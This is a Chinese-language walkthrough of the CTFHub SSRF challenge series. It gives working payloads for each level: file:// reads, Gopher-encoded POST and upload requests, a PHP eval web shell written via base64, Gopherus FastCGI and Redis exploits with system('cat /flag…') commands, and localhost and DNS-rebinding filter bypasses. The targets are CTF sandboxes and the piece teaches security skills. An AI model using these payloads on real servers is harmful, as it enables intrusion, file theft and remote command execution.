Bootstrap

CTFHub技能树--SSRF攻略

先上通关截图٩( 'ω' )و

一、内网访问

删掉_,使用url参数127.0.0.1/flag.php,页面成功回显flag

http://challenge-ccd8c042f631e05b.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

二、伪协议读取文件

这里用到的是url=file:///var/www/html/flag.php,用来访问本地计算机中的文件。

http://challenge-4ef696fbcb16ad67.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

点击"F12"查看控制台,成功找到flag

三、端口扫描

这关需要抓包,打开Burpsuite,

截取到请求包之后发送到Intruder,并设置"狙击手"的攻击方式,开始爆破端口

找到length不同的一个端口并点开查看,成功找到flag

四、Post请求

点击"F12"查看控制台,收获到一个key,保存下来。

<!-- Debug: key=c7abfa899a2ed85064bf0eca2f8afbdb-->

 接下来将你用Burpsuite抓到的数据包进行删减来构造POST请求包

复制并对其进行url编码

 # 编码解码网站

CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码 (hiencode.com)

 将编码的结果复制下来,保存在txt文档中,其中需要将%0A替换成 %0d%0A并且末尾加上%0d%0a

 再次进行URL编码并使用Gopher进行攻击访问,获取Flag

五、上传文件

通过file://伪协议来读取flag.php源代码,源码中需手动添加提交框并提交文件大小大于0的文件并抓包

将抓到的包进行删减,得到如下请求包

将HTTP头部的Host字段修改为127,0.0,1:80,然后就是老操作..url编码再一次在把%0A换成%0D%0A,然后再对url进行第二次编码,最后输入如下,得到flag

http://challenge-2747897a53ffa023.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_你二次编码后的数据

 六、FastCGI协议

准备一句话木马并构造要执行的终端命令:对一句话木马进行base64编码且写入到名为shell.php的文件中

# 一句话编码

<?php @eval($_POST["cmd"]);?>

# base64编码后

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

 使用Gopherus.工具生成payload:

# kali中执行

python2 gopherus.py --exploit fastcgi

 

 将生成的payload再进行第二次编码即可,访问上传,再输入http://challenge-2747897a53ffa023.sandbox.ctfhub.com:10800/shell.php进行验证

http://challenge-2747897a53ffa023.sandbox.ctfhub.com:10800/shell.php和cmd丢入”中国菜刀工具中“(需要的小伙伴联系笔者),最后成功找到flag

七、Redis协议

使用Gopherus.工具生成payload,完成后,并将以下部分进行一次url编码

访问编码后的数据,最终执行以下命令获取flag

/shell.php?cmd=system('ls /');
/shell.php?cmd=system('cat /flag_1d9b8ddfd9766ee8c6e68b2b7ca0f4fa');

八、URL Bypass

绕过方法

http://challenge-84e69b7c2ebd1414.sandbox.ctfhub.com:10800/?url=http://[email protected]/flag.php

九、数字IP Bypass

绕过方法

http://challenge-84e69b7c2ebd1414.sandbox.ctfhub.com:10800/?url=http://localhost/flag.php

 

十、302跳转 Bypass

绕过方法

http://challenge-2f62627641ef4b27.sandbox.ctfhub.com:10800/?url=localhost/flag.php

 

十一、DNS重绑定 Bypass 

在解析网站上获取解析到内网IP的域名并作访问即可获取其Flag

?url=http://7f000001.7f000002.rbndr.us/flag.php

;